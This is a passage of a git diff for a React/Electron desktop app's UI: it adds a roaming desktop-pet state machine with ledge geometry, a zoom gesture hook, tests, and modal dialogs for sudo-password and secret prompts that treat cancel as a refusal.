+export function resolveLedge(ledges: Ledge[], x: number, y: number, petH: number): Ledge {
+  const bottom = y + petH
+  let best: Ledge | null = null
+
+  for (const ledge of ledges) {
+    if (x < ledge.left - 2 || x > ledge.right + 2) {
+      continue
+    }
+
+    if (ledge.y >= bottom - GROUND_EPS && (!best || ledge.y < best.y)) {
+      best = ledge
+    }
+  }
+
+  return best ?? ledges[0]!
+}
+
+/** The bottom ground line: the top of the status bar if it's pinned full-width
+ *  across the window bottom, otherwise the window edge. */
+function floorY(width: number, height: number, petH: number): number {
+  const bar = document.querySelector(FLOOR_BAR_SELECTOR)
+
+  if (bar) {
+    const rect = bar.getBoundingClientRect()
+
+    if (rect.width >= width * 0.5 && height - rect.bottom < 4 && rect.top - petH >= 0) {
+      return rect.top
+    }
+  }
+
+  return height
+}
+
+/** Snapshot the walkable surfaces right now: the bottom floor plus any on-screen
+ *  perch element with room above it for the pet to stand. */
+export function snapshotLedges(petW: number, petH: number): Ledge[] {
+  const width = vw()
+  const height = vh()
+  const ledges: Ledge[] = [{ left: 0, right: Math.max(0, width - petW), y: floorY(width, height, petH) }]
+
+  for (const selector of PERCH_SELECTORS) {
+    const el = document.querySelector(selector)
+
+    if (!el) {
+      continue
+    }
+
+    const rect = el.getBoundingClientRect()
+    const left = Math.max(0, rect.left)
+    const right = Math.min(width - petW, rect.right - petW)
+
+    // Skip surfaces that are too narrow for the pet, have no headroom above, or
+    // sit off-screen / flush with the floor (no daylight between them).
+    if (right <= left + 2 || rect.top - petH < 0 || rect.top > height - 8 || height - rect.top < 12) {
+      continue
+    }
+
+    ledges.push({ left, right, y: rect.top })
+  }
+
+  return ledges
+}
+
+/**
+ * While a full-screen route overlay is up it's the only walkable surface: a
+ * single ledge at the overlay card's bottom inner edge. The card uses
+ * `OverlayView`'s equal inset on every side — `titlebar-height + padding` — so
+ * we derive it from that rather than measuring.
+ */
+export function overlayLedge(petW: number): Ledge {
+  const rem = parseFloat(getComputedStyle(document.documentElement).fontSize) || 16
+  const inset = TITLEBAR_HEIGHT + (vw() >= 640 ? 0.875 : 0.625) * rem
+
+  return { left: inset, right: Math.max(0, vw() - inset - petW), y: vh() - inset }
+}
diff --git a/ui-desktop/src/components/pet/use-pet-roam.test.tsx b/ui-desktop/src/components/pet/use-pet-roam.test.tsx
new file mode 100644
index 000000000..a12ee03de
--- /dev/null
+++ b/ui-desktop/src/components/pet/use-pet-roam.test.tsx
@@ -0,0 +1,166 @@
+import { act, type ReactNode, type RefObject, useRef } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+vi.mock('@/store/pet', () => ({
+  $petMotion: { set: () => undefined },
+  $petRoamDir: { set: () => undefined }
+}))
+
+import { usePetRoam } from './use-pet-roam'
+
+let root: Root | null = null
+let container: HTMLDivElement | null = null
+let windowStateCallback: ((payload: { isMinimized?: boolean; isVisible?: boolean }) => void) | null = null
+
+function render(ui: ReactNode) {
+  container = document.createElement('div')
+  document.body.append(container)
+  root = createRoot(container)
+
+  act(() => {
+    root!.render(ui)
+  })
+}
+
+function cleanup() {
+  if (root) {
+    act(() => {
+      root!.unmount()
+    })
+  }
+
+  container?.remove()
+  root = null
+  container = null
+}
+
+function setVisibility(hidden: boolean) {
+  Object.defineProperty(document, 'hidden', { configurable: true, value: hidden })
+  Object.defineProperty(document, 'visibilityState', { configurable: true, value: hidden ? 'hidden' : 'visible' })
+}
+
+function installWindowStateBridge() {
+  windowStateCallback = null
+  Object.defineProperty(window, 'clawcodexDesktop', {
+    configurable: true,
+    value: {
+      onWindowStateChanged: vi.fn((callback: typeof windowStateCallback) => {
+        windowStateCallback = callback
+
+        return () => {
+          if (windowStateCallback === callback) {
+            windowStateCallback = null
+          }
+        }
+      })
+    }
+  })
+}
+
+function installRaf() {
+  const request = vi.fn((_callback: FrameRequestCallback) => 1)
+  const cancel = vi.fn()
+
+  Object.defineProperty(window, 'requestAnimationFrame', { configurable: true, value: request })
+  Object.defineProperty(window, 'cancelAnimationFrame', { configurable: true, value: cancel })
+
+  return { cancel, request }
+}
+
+function RoamHarness({ isInteracting = () => false }: { isInteracting?: () => boolean }) {
+  const ref = useRef<HTMLDivElement | null>(null)
+
+  usePetRoam({
+    commit: () => undefined,
+    containerRef: ref as RefObject<HTMLDivElement | null>,
+    enabled: true,
+    isInteracting,
+    loopMs: 1200,
+    overlayOpen: false,
+    petH: 64,
+    petW: 64
+  })
+
+  return <div ref={ref} />
+}
+
+describe('usePetRoam RAF scheduling', () => {
+  beforeEach(() => {
+    ;(globalThis as typeof globalThis & { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
+    vi.useFakeTimers()
+    setVisibility(false)
+    vi.spyOn(document, 'hasFocus').mockReturnValue(true)
+    installWindowStateBridge()
+    vi.spyOn(Math, 'random').mockReturnValue(0)
+    vi.spyOn(HTMLElement.prototype, 'getBoundingClientRect').mockReturnValue({
+      bottom: 164,
+      height: 64,
+      left: 100,
+      right: 164,
+      top: 100,
+      width: 64,
+      x: 100,
+      y: 100,
+      toJSON: () => ({})
+    } as DOMRect)
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.useRealTimers()
+    vi.restoreAllMocks()
+    setVisibility(false)
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+  })
+
+  it('uses a pause timer, not RAF, while dwelling at idle', () => {
+    const raf = installRaf()
+
+    render(<RoamHarness />)
+
+    expect(raf.request).not.toHaveBeenCalled()
+    expect(vi.getTimerCount()).toBe(1)
+  })
+
+  it('clears the pause wakeup while the Electron window is paused and restarts it when visible', () => {
+    const raf = installRaf()
+
+    render(<RoamHarness />)
+    expect(vi.getTimerCount()).toBe(1)
+
+    windowStateCallback?.({ isMinimized: true, isVisible: false })
+
+    expect(raf.cancel).not.toHaveBeenCalled()
+    expect(raf.request).not.toHaveBeenCalled()
+    expect(vi.getTimerCount()).toBe(0)
+
+    windowStateCallback?.({ isMinimized: false, isVisible: true })
+
+    expect(raf.request).not.toHaveBeenCalled()
+    expect(vi.getTimerCount()).toBe(1)
+  })
+
+  it('suspends idle movement while unfocused and cleans up its wake timer on unmount', () => {
+    const raf = installRaf()
+
+    render(<RoamHarness />)
+    expect(vi.getTimerCount()).toBe(1)
+
+    act(() => window.dispatchEvent(new Event('blur')))
+    expect(vi.getTimerCount()).toBe(0)
+
+    act(() => window.dispatchEvent(new Event('focus')))
+    expect(vi.getTimerCount()).toBe(1)
+
+    cleanup()
+    expect(vi.getTimerCount()).toBe(0)
+
+    act(() => {
+      vi.advanceTimersByTime(2000)
+      window.dispatchEvent(new Event('focus'))
+    })
+    expect(raf.request).not.toHaveBeenCalled()
+    expect(vi.getTimerCount()).toBe(0)
+  })
+})
diff --git a/ui-desktop/src/components/pet/use-pet-roam.ts b/ui-desktop/src/components/pet/use-pet-roam.ts
new file mode 100644
index 000000000..2850f4737
--- /dev/null
+++ b/ui-desktop/src/components/pet/use-pet-roam.ts
@@ -0,0 +1,392 @@
+import { type RefObject, useEffect } from 'react'
+
+import { createRendererLoopPauseController } from '@/lib/renderer-loop-pause'
+import { $petMotion, $petRoamDir, type PetState } from '@/store/pet'
+
+import { chooseMove, dwellMs, PAUSE_DWELL, pickStrollTarget } from './roam-behavior'
+import {
+  GROUND_EPS,
+  groundTop,
+  type Ledge,
+  overlapsX,
+  overlayLedge,
+  resolveLedge,
+  snapshotLedges
+} from './roam-geometry'
+
+interface Point {
+  x: number
+  y: number
+}
+
+// Foot-sync: advance this many body-widths per animation loop so the walk reads
+// as steps, not a glide. Actual px/s is derived from the sprite's loop duration
+// and on-screen size (see `walkSpeedPxS`).
+const STRIDE_PER_LOOP = 0.8
+// Downward acceleration for falls between ledges — fast enough to read as a drop.
+const GRAVITY_PX_S2 = 5200
+// Time to spring up onto a higher ledge.
+const JUMP_DUR_MS = 460
+// Tiny settle after a drag release before the pet re-plans (and usually falls),
+// so dropping it in mid-air snaps down promptly instead of hanging for a beat.
+const DROP_SETTLE_MS = 90
+// Arrived at a walk target.
+const ARRIVE_EPS = 1.5
+// Cap dt so a backgrounded/throttled tab can't teleport the pet on resume.
+const MAX_DT_S = 0.05
+// While paused, wake rarely to notice drags/replans without burning a 60Hz RAF.
+const PAUSE_POLL_MS = 250
+
+type Phase = 'pause' | 'walk' | 'fall' | 'jump'
+
+const rand = (min: number, max: number): number => min + Math.random() * (max - min)
+const easeOutCubic = (t: number): number => 1 - (1 - t) ** 3
+const signDir = (n: number): -1 | 0 | 1 => (n > 0 ? 1 : n < 0 ? -1 : 0)
+
+interface PetRoamOptions {
+  /** Run the wander loop (roam opt-in + pet active + in-window + agent at rest). */
+  enabled: boolean
+  containerRef: RefObject<HTMLDivElement | null>
+  /** True while the user is dragging — the loop yields so it never fights a drag. */
+  isInteracting: () => boolean
+  petW: number
+  petH: number
+  /** Sprite animation loop duration (ms) — paces the walk to the leg cadence. */
+  loopMs: number
+  /** A full-screen route overlay (settings/profiles/…) is up: patrol its base. */
+  overlayOpen: boolean
+  /** Persist the resting position back to React state when the loop settles. */
+  commit: (point: Point) => void
+}
+
+/**
+ * Drive the floating pet's wander as a platformer state machine: it loafs, then
+ * walks along surfaces (the window floor, the top of the composer, …), hops up
+ * onto higher ledges, and drops off them — instead of drifting through empty
+ * space. The walkable surfaces come from `roam-geometry` (re-measured from the
+ * live DOM every beat, so the pet tracks the composer growing, the sidebar
+ * opening, the window resizing) and the beat-to-beat choices from
+ * `roam-behavior`; this hook owns only the physics and the DOM writes.
+ *
+ * Movement mutates `el.style.left/top` directly each frame — like the drag
+ * handler — so a steady wander triggers no React re-renders, and because it
+ * re-asserts the DOM position every frame, an incidental parent re-render that
+ * snaps `style` back self-heals within a frame. State is only committed (via
+ * `commit`) when the pet settles, keeping React's `position` in sync once the
+ * loop stops driving it.
+ *
+ * Two signals publish the wander so the canvas/sprite react without a prop
+ * change: `$petMotion` (`run` while walking, `jump` while hopping/falling) flips
+ * the shared `$petState`, and `$petRoamDir` (-1/0/1) lets the floating pet pick
+ * the directional run row + mirror for the travel direction.
+ */
+export function usePetRoam({
+  enabled,
+  containerRef,
+  isInteracting,
+  petW,
+  petH,
+  loopMs,
+  overlayOpen,
+  commit
+}: PetRoamOptions): void {
+  useEffect(() => {
+    if (!enabled) {
+      $petMotion.set(null)
+      $petRoamDir.set(0)
+
+      return
+    }
+
+    const el = containerRef.current
+
+    if (!el) {
+      return
+    }
+
+    // Pace the stride to the sprite: one body-width per animation loop.
+    const walkSpeedPxS = (petW * STRIDE_PER_LOOP) / (loopMs / 1000)
+    const restY = (ledge: Ledge): number => groundTop(ledge, petH)
+
+    // Seed from the live DOM rect so we resume from wherever the pet actually is
+    // (after a drag, reclamp, or activity pause) rather than a stale closure.
+    const rect = el.getBoundingClientRect()
+    const cur: Point = { x: rect.left, y: rect.top }
+
+    let phase: Phase = 'pause'
+    let pauseUntil = performance.now() + rand(400, 1200)
+    let last = performance.now()
+    let raf = 0
+    let pauseTimer = 0
+    let stopped = false
+    let pauseController: ReturnType<typeof createRendererLoopPauseController> | null = null
+
+    let walkTargetX = cur.x
+    let curLedge: Ledge | null = null
+    let targetLedge: Ledge | null = null
+    // When set, the current walk is the approach run before a hop to this ledge.
+    let pendingHop: Ledge | null = null
+    // Fall / jump integrators.
+    let fallVel = 0
+    let jumpFromY = 0
+    let jumpElapsed = 0
+
+    const applyDom = () => {
+      el.style.left = `${cur.x}px`
+      el.style.top = `${cur.y}px`
+    }
+
+    // One chokepoint for the wander signals: the pose (drives `$petState`) and
+    // the travel direction (drives the floating pet's directional row + mirror).
+    const signal = (pose: PetState | null, dir: -1 | 0 | 1) => {
+      $petMotion.set(pose)
+      $petRoamDir.set(dir)
+    }
+
+    const rendererPaused = () => pauseController?.isPaused() ?? document.visibilityState === 'hidden'
+
+    const cancelRaf = () => {
+      if (raf !== 0) {
+        window.cancelAnimationFrame(raf)
+        raf = 0
+      }
+    }
+
+    const cancelPauseTimer = () => {
+      if (pauseTimer !== 0) {
+        window.clearTimeout(pauseTimer)
+        pauseTimer = 0
+      }
+    }
+
+    const clearScheduled = () => {
+      cancelRaf()
+      cancelPauseTimer()
+    }
+
+    const schedule = (now = performance.now()) => {
+      if (stopped || rendererPaused() || raf !== 0 || pauseTimer !== 0) {
+        return
+      }
+
+      if (phase === 'pause') {
+        const delay = Math.max(0, pauseUntil - now)
+
+        if (delay > 0) {
+          pauseTimer = window.setTimeout(
+            () => {
+              pauseTimer = 0
+              step(performance.now())
+            },
+            Math.min(delay, PAUSE_POLL_MS)
+          )
+
+          return
+        }
+      }
+
+      raf = window.requestAnimationFrame(step)
+    }
+
+    const handleVisibilityChange = () => {
+      clearScheduled()
+      last = performance.now()
+
+      if (rendererPaused()) {
+        signal(null, 0)
+
+        return
+      }
+
+      schedule(last)
+    }
+
+    const beginPause = (now: number) => {
+      phase = 'pause'
+      pauseUntil = now + dwellMs(PAUSE_DWELL)
+      signal(null, 0)
+      commit({ ...cur })
+    }
+
+    // Land flush on a ledge, then settle into the next idle beat.
+    const settleOn = (ledge: Ledge, now: number) => {
+      cur.y = restY(ledge)
+      curLedge = ledge
+      applyDom()
+      beginPause(now)
+    }
+
+    const beginVertical = (ledge: Ledge) => {
+      targetLedge = ledge
+
+      if (restY(ledge) < cur.y - 1) {
+        // Up onto a higher ledge: a quick spring.
+        phase = 'jump'
+        jumpFromY = cur.y
+        jumpElapsed = 0
+      } else {
+        // Down off a ledge: let gravity take it.
+        phase = 'fall'
+        fallVel = 0
+      }
+
+      signal('jump', 0)
+    }
+
+    const planNext = (now: number) => {
+      // An open overlay swaps the surface set to just its bottom edge, so the pet
+      // patrols along it; closing it restores the normal surfaces (and the pet
+      // drops to whatever's below).
+      const ledges = overlayOpen ? [overlayLedge(petW)] : snapshotLedges(petW, petH)
+      curLedge = resolveLedge(ledges, cur.x, cur.y, petH)
+
+      if (Math.abs(cur.y - restY(curLedge)) > GROUND_EPS) {
+        // Dragged into the air, or the surface moved out from under it: fall.
+        beginVertical(curLedge)
+
+        return
+      }
+
+      const reachable = ledges.filter(ledge => ledge !== curLedge && overlapsX(curLedge!, ledge))
+      const move = chooseMove(reachable.length > 0)
+
+      if (move === 'rest') {
+        // Stay put and loaf another beat — movement is the exception.
+        beginPause(now)
+
+        return
+      }
+
+      if (move === 'hop') {
+        const next = reachable[Math.floor(Math.random() * reachable.length)]!
+        const lo = Math.max(curLedge.left, next.left)
+        const hi = Math.min(curLedge.right, next.right)
+        pendingHop = next
+        walkTargetX = lo + Math.random() * (hi - lo)
+      } else {
+        pendingHop = null
+        walkTargetX = pickStrollTarget(curLedge, cur.x)
+      }
+
+      phase = 'walk'
+      signal('run', signDir(walkTargetX - cur.x))
+    }
+
+    const step = (now: number) => {
+      raf = 0
+      pauseTimer = 0
+
+      if (stopped || rendererPaused()) {
+        signal(null, 0)
+
+        return
+      }
+
+      const dt = Math.min(MAX_DT_S, (now - last) / 1000)
+      last = now
+
+      // Yield to a drag: track the pet so we resume from the drop point, and
+      // reset the idle beat so it doesn't bolt the instant it's let go.
+      if (isInteracting()) {
+        const live = el.getBoundingClientRect()
+        cur.x = live.left
+        cur.y = live.top
+        phase = 'pause'
+        pendingHop = null
+        // Short settle so the pet falls right after you drop it, not seconds later.
+        pauseUntil = now + DROP_SETTLE_MS
+        signal(null, 0)
+        schedule(now)
+
+        return
+      }
+
+      switch (phase) {
+        case 'pause': {
+          if (now >= pauseUntil) {
+            planNext(now)
+          }
+
+          break
+        }
+
+        case 'walk': {
+          const remaining = walkTargetX - cur.x
+          const stepDist = walkSpeedPxS * dt
+
+          if (Math.abs(remaining) <= Math.max(ARRIVE_EPS, stepDist)) {
+            cur.x = walkTargetX
+            applyDom()
+
+            if (pendingHop) {
+              const next = pendingHop
+              pendingHop = null
+              beginVertical(next)
+            } else {
+              beginPause(now)
+            }
+          } else {
+            cur.x += Math.sign(remaining) * stepDist
+            applyDom()
+          }
+
+          break
+        }
+
+        case 'fall': {
+          if (!targetLedge) {
+            beginPause(now)
+
+            break
+          }
+
+          fallVel += GRAVITY_PX_S2 * dt
+          cur.y += fallVel * dt
+
+          if (cur.y >= restY(targetLedge)) {
+            settleOn(targetLedge, now)
+          } else {
+            applyDom()
+          }
+
+          break
+        }
+
+        case 'jump': {
+          if (!targetLedge) {
+            beginPause(now)
+
+            break
+          }
+
+          jumpElapsed += dt * 1000
+          const t = Math.min(1, jumpElapsed / JUMP_DUR_MS)
+          cur.y = jumpFromY + (restY(targetLedge) - jumpFromY) * easeOutCubic(t)
+
+          if (t >= 1) {
+            settleOn(targetLedge, now)
+          } else {
+            applyDom()
+          }
+
+          break
+        }
+      }
+
+      schedule(now)
+    }
+
+    pauseController = createRendererLoopPauseController(handleVisibilityChange)
+    schedule()
+
+    return () => {
+      stopped = true
+      clearScheduled()
+      pauseController?.dispose()
+      signal(null, 0)
+      // Hand the final position back to React so its `style` matches the DOM once
+      // the loop stops re-asserting it.
+      commit({ ...cur })
+    }
+  }, [enabled, petW, petH, loopMs, overlayOpen, containerRef, isInteracting, commit])
+}
diff --git a/ui-desktop/src/components/pet/use-pet-zoom-gesture.ts b/ui-desktop/src/components/pet/use-pet-zoom-gesture.ts
new file mode 100644
index 000000000..34a67e248
--- /dev/null
+++ b/ui-desktop/src/components/pet/use-pet-zoom-gesture.ts
@@ -0,0 +1,58 @@
+import { type RefObject, useEffect } from 'react'
+
+import { $petInfo } from '@/store/pet'
+import { nextScaleFromWheel, PET_SCALE_DEFAULT } from '@/store/pet-gallery'
+
+/** Where the gesture happened + how much it scaled — lets callers zoom toward the
+ *  cursor (keep the pixel under it fixed) instead of growing from a corner. */
+export interface PetZoomAnchor {
+  clientX: number
+  clientY: number
+  /** new / old scale, clamp-aware (1 at a bound, so the pet doesn't drift). */
+  ratio: number
+}
+
+/**
+ * Wire Alt/Option+wheel-to-scale onto a pet element: hold Alt and scroll up to
+ * grow the pet, down to shrink — identical on Mac and Windows. The modifier is
+ * required so a plain scroll over the pet still scrolls the page underneath
+ * (we only `preventDefault` while Alt is held).
+ *
+ * Native + non-passive so the conditional `preventDefault` actually takes (and
+ * keeps Electron from treating the gesture as a page zoom). Scale is read live
+ * from `$petInfo` so rapid steps compound without re-binding the listener.
+ *
+ * `ready` must track whether the pet element is actually rendered (both callers
+ * return null until a pet is enabled). It's a dependency so the listener
+ * (re)binds the moment the element mounts — `ref.current` changing alone would
+ * never re-run the effect.
+ */
+export function usePetZoomGesture<T extends HTMLElement>(
+  ref: RefObject<T | null>,
+  onScale: (scale: number, anchor: PetZoomAnchor) => void,
+  ready: boolean
+): void {
+  useEffect(() => {
+    const el = ref.current
+
+    if (!el || !ready) {
+      return
+    }
+
+    const onWheel = (event: WheelEvent) => {
+      if (!event.altKey) {
+        return
+      }
+
+      event.preventDefault()
+
+      const base = $petInfo.get().scale ?? PET_SCALE_DEFAULT
+      const next = nextScaleFromWheel(base, event.deltaY)
+      onScale(next, { clientX: event.clientX, clientY: event.clientY, ratio: next / base })
+    }
+
+    el.addEventListener('wheel', onWheel, { passive: false })
+
+    return () => el.removeEventListener('wheel', onWheel)
+  }, [ref, onScale, ready])
+}
diff --git a/ui-desktop/src/components/prompt-overlays.test.tsx b/ui-desktop/src/components/prompt-overlays.test.tsx
new file mode 100644
index 000000000..dd9cdb7ec
--- /dev/null
+++ b/ui-desktop/src/components/prompt-overlays.test.tsx
@@ -0,0 +1,67 @@
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { I18nProvider } from '@/i18n'
+import { $gateway } from '@/store/gateway'
+import { notifyError } from '@/store/notifications'
+import { $secretRequest, $sudoRequest, clearAllPrompts, setSecretRequest, setSudoRequest } from '@/store/prompts'
+import { $activeSessionId } from '@/store/session'
+
+import { PromptOverlays } from './prompt-overlays'
+
+vi.mock('@/lib/haptics', () => ({ triggerHaptic: vi.fn() }))
+vi.mock('@/store/notifications', () => ({ notifyError: vi.fn() }))
+
+function renderPrompts(sessionId: string | null = 's1') {
+  render(
+    <I18nProvider configClient={null}>
+      <PromptOverlays sessionId={sessionId} />
+    </I18nProvider>
+  )
+}
+
+afterEach(() => {
+  cleanup()
+  clearAllPrompts()
+  $activeSessionId.set(null)
+  $gateway.set(null)
+  vi.clearAllMocks()
+})
+
+describe('PromptOverlays', () => {
+  it('dismisses a stale sudo dialog when the gateway no longer has the password request', async () => {
+    const request = vi.fn().mockRejectedValue(new Error('no pending password request'))
+
+    $activeSessionId.set('s1')
+    $gateway.set({ request } as never)
+    setSudoRequest({ requestId: 'sudo-1', sessionId: 's1' })
+
+    renderPrompts()
+
+    expect(screen.getByText('Administrator password')).toBeTruthy()
+
+    fireEvent.click(screen.getByRole('button', { name: 'Cancel' }))
+
+    await waitFor(() => expect($sudoRequest.get()).toBeNull())
+    expect(request).toHaveBeenCalledWith('sudo.respond', { password: '', request_id: 'sudo-1' })
+    expect(notifyError).not.toHaveBeenCalled()
+  })
+
+  it('dismisses a stale secret dialog when the gateway no longer has the value request', async () => {
+    const request = vi.fn().mockRejectedValue(new Error('no pending value request'))
+
+    $activeSessionId.set('s1')
+    $gateway.set({ request } as never)
+    setSecretRequest({ envVar: 'TEST_SECRET', prompt: 'Paste a secret', requestId: 'secret-1', sessionId: 's1' })
+
+    renderPrompts()
+
+    expect(screen.getByText('TEST_SECRET')).toBeTruthy()
+
+    fireEvent.click(screen.getByRole('button', { name: 'Cancel' }))
+
+    await waitFor(() => expect($secretRequest.get()).toBeNull())
+    expect(request).toHaveBeenCalledWith('secret.respond', { request_id: 'secret-1', value: '' })
+    expect(notifyError).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/components/prompt-overlays.tsx b/ui-desktop/src/components/prompt-overlays.tsx
new file mode 100644
index 000000000..68f5047cf
--- /dev/null
+++ b/ui-desktop/src/components/prompt-overlays.tsx
@@ -0,0 +1,253 @@
+'use client'
+
+import { useStore } from '@nanostores/react'
+import { type FormEvent, useCallback, useEffect, useMemo, useState } from 'react'
+
+import { PendingApprovalFallback } from '@/components/assistant-ui/tool/approval'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { useI18n } from '@/i18n'
+import { isMissingPendingPromptRequest } from '@/lib/gateway-rpc'
+import { triggerHaptic } from '@/lib/haptics'
+import { KeyRound, Loader2, Lock } from '@/lib/icons'
+import { $gateway } from '@/store/gateway'
+import { notifyError } from '@/store/notifications'
+import { clearSecretRequest, clearSudoRequest, sessionSecretRequest, sessionSudoRequest } from '@/store/prompts'
+
+// Renders the modal mid-turn prompts the gateway raises and waits on: sudo
+// password and skill secret capture. Dangerous-command / execute_code approval
+// prefers the pending tool row, but also has a chat-level fallback when no row
+// is mounted (remote gateway sessions can raise the request before the matching
+// tool call is visible). Each Python-side caller blocks the agent thread until
+// the matching `*.respond` RPC lands; without a renderer the agent stalls until
+// its timeout and the tool is BLOCKED. Any close path (Esc, backdrop
+// click) funnels through Radix's single `onOpenChange(false)` and maps to a
+// refusal, so silence is never mistaken for consent, matching the TUI. We
+// deliberately do NOT add onEscapeKeyDown / onInteractOutside handlers — they'd
+// fire a second `*.respond` alongside onOpenChange (double-send) or block the
+// backdrop-dismiss path.
+
+function SudoDialog({ sessionId }: { sessionId: string | null }) {
+  const { t } = useI18n()
+  const copy = t.prompts
+  const $request = useMemo(() => sessionSudoRequest(sessionId), [sessionId])
+  const request = useStore($request)
+  const gateway = useStore($gateway)
+  const [password, setPassword] = useState('')
+  const [submitting, setSubmitting] = useState(false)
+
+  useEffect(() => {
+    setPassword('')
+    setSubmitting(false)
+  }, [request?.requestId])
+
+  const send = useCallback(
+    async (value: string) => {
+      if (!request) {
+        return
+      }
+
+      if (!gateway) {
+        notifyError(new Error(copy.gatewayDisconnected), copy.sudoSendFailed)
+
+        return
+      }
+
+      setSubmitting(true)
+
+      try {
+        await gateway.request<{ status?: string }>('sudo.respond', {
+          password: value,
+          request_id: request.requestId
+        })
+        triggerHaptic('submit')
+        clearSudoRequest(request.sessionId, request.requestId)
+      } catch (error) {
+        if (isMissingPendingPromptRequest(error, 'password')) {
+          clearSudoRequest(request.sessionId, request.requestId)
+
+          return
+        }
+
+        notifyError(error, copy.sudoSendFailed)
+        setSubmitting(false)
+      }
+    },
+    [copy.gatewayDisconnected, copy.sudoSendFailed, gateway, request]
+  )
+
+  // Cancel → empty password. The backend treats an empty sudo response as a
+  // failed sudo (no command runs), so closing the dialog is a safe refusal.
+  const onOpenChange = useCallback(
+    (open: boolean) => {
+      if (!open && !submitting && request) {
+        void send('')
+      }
+    },
+    [request, send, submitting]
+  )
+
+  const onSubmit = useCallback(
+    (event: FormEvent<HTMLFormElement>) => {
+      event.preventDefault()
+      void send(password)
+    },
+    [password, send]
+  )
+
+  if (!request) {
+    return null
+  }
+
+  return (
+    <Dialog onOpenChange={onOpenChange} open>
+      <DialogContent showCloseButton={false}>
+        <DialogHeader>
+          <DialogTitle icon={Lock}>{copy.sudoTitle}</DialogTitle>
+          <DialogDescription>{copy.sudoDesc}</DialogDescription>
+        </DialogHeader>
+
+        <form className="grid gap-3" onSubmit={onSubmit}>
+          <Input
+            autoFocus
+            disabled={submitting}
+            onChange={event => setPassword(event.target.value)}
+            placeholder={copy.sudoPlaceholder}
+            type="password"
+            value={password}
+          />
+          <DialogFooter>
+            <Button disabled={submitting} onClick={() => void send('')} type="button" variant="ghost">
+              {t.common.cancel}
+            </Button>
+            <Button disabled={submitting} type="submit">
+              {submitting ? <Loader2 className="size-3.5 animate-spin" /> : t.common.send}
+            </Button>
+          </DialogFooter>
+        </form>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+function SecretDialog({ sessionId }: { sessionId: string | null }) {
+  const { t } = useI18n()
+  const copy = t.prompts
+  const $request = useMemo(() => sessionSecretRequest(sessionId), [sessionId])
+  const request = useStore($request)
+  const gateway = useStore($gateway)
+  const [value, setValue] = useState('')
+  const [submitting, setSubmitting] = useState(false)
+
+  useEffect(() => {
+    setValue('')
+    setSubmitting(false)
+  }, [request?.requestId])
+
+  const send = useCallback(
+    async (secret: string) => {
+      if (!request) {
+        return
+      }
+
+      if (!gateway) {
+        notifyError(new Error(copy.gatewayDisconnected), copy.secretSendFailed)
+
+        return
+      }
+
+      setSubmitting(true)
+
+      try {
+        await gateway.request<{ status?: string }>('secret.respond', {
+          request_id: request.requestId,
+          value: secret
+        })
+        triggerHaptic('submit')
+        clearSecretRequest(request.sessionId, request.requestId)
+      } catch (error) {
+        if (isMissingPendingPromptRequest(error, 'value')) {
+          clearSecretRequest(request.sessionId, request.requestId)
+
+          return
+        }
+
+        notifyError(error, copy.secretSendFailed)
+        setSubmitting(false)
+      }
+    },
+    [copy.gatewayDisconnected, copy.secretSendFailed, gateway, request]
+  )
+
+  const onOpenChange = useCallback(
+    (open: boolean) => {
+      if (!open && !submitting && request) {
+        void send('')
+      }
+    },
+    [request, send, submitting]
+  )
+
+  const onSubmit = useCallback(
+    (event: FormEvent<HTMLFormElement>) => {
+      event.preventDefault()
+      void send(value)
+    },
+    [send, value]
+  )
+
+  if (!request) {
+    return null
+  }
+
+  return (
+    <Dialog onOpenChange={onOpenChange} open>
+      <DialogContent showCloseButton={false}>
+        <DialogHeader>
+          <DialogTitle icon={KeyRound}>{request.envVar || copy.secretTitle}</DialogTitle>
+          <DialogDescription>{request.prompt || copy.secretDesc}</DialogDescription>
+        </DialogHeader>
+
+        <form className="grid gap-3" onSubmit={onSubmit}>
+          <Input
+            autoFocus
+            disabled={submitting}
+            onChange={event => setValue(event.target.value)}
+            placeholder={request.envVar || copy.secretPlaceholder}
+            type="password"
+            value={value}
+          />
+          <DialogFooter>
+            <Button disabled={submitting} onClick={() => void send('')} type="button" variant="ghost">
+              {t.common.cancel}
+            </Button>
+            <Button disabled={submitting || !value} type="submit">
+              {submitting ? <Loader2 className="size-3.5 animate-spin" /> : t.common.send}
+            </Button>
+          </DialogFooter>
+        </form>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+/** Mid-turn prompt surfaces for ONE session. Mounted by both the primary chat
+ *  and each tile with its own session id, so a background/tiled session's
+ *  blocking prompt renders instead of silently stalling. */
+export function PromptOverlays({ sessionId }: { sessionId: string | null }) {
+  return (
+    <>
+      <PendingApprovalFallback />
+      <SudoDialog sessionId={sessionId} />
+      <SecretDialog sessionId={sessionId} />
+    </>
+  )
+}
diff --git a/ui-desktop/src/components/remote-display-banner.tsx b/ui-desktop/src/components/remote-display-banner.tsx
new file mode 100644
index 000000000..aac31dec7
--- /dev/null
+++ b/ui-desktop/src/components/remote-display-banner.tsx
@@ -0,0 +1,25 @@
+import { useEffect } from 'react'
+
+import { translateNow } from '@/i18n'
+import { notify } from '@/store/notifications'
+
+// GPU acceleration is disabled under remote display (RDP/VNC/etc) to avoid
+// flicker. Surfaces once per launch as a persistent toast through the shared
+// notification stack — was a hand-rolled second top-center card at these same
+// exact fixed coordinates, which could overlap a real toast.
+export function RemoteDisplayBanner() {
+  useEffect(() => {
+    void window.clawcodexDesktop?.getRemoteDisplayReason?.().then(reason => {
+      if (reason) {
+        notify({
+          durationMs: 0,
+          kind: 'info',
+          message: translateNow('remoteDisplayBanner.message', reason),
+          placement: 'default'
+        })
+      }
+    })
+  }, [])
+
+  return null
+}
diff --git a/ui-desktop/src/components/session-picker.tsx b/ui-desktop/src/components/session-picker.tsx
new file mode 100644
index 000000000..266769aa5
--- /dev/null
+++ b/ui-desktop/src/components/session-picker.tsx
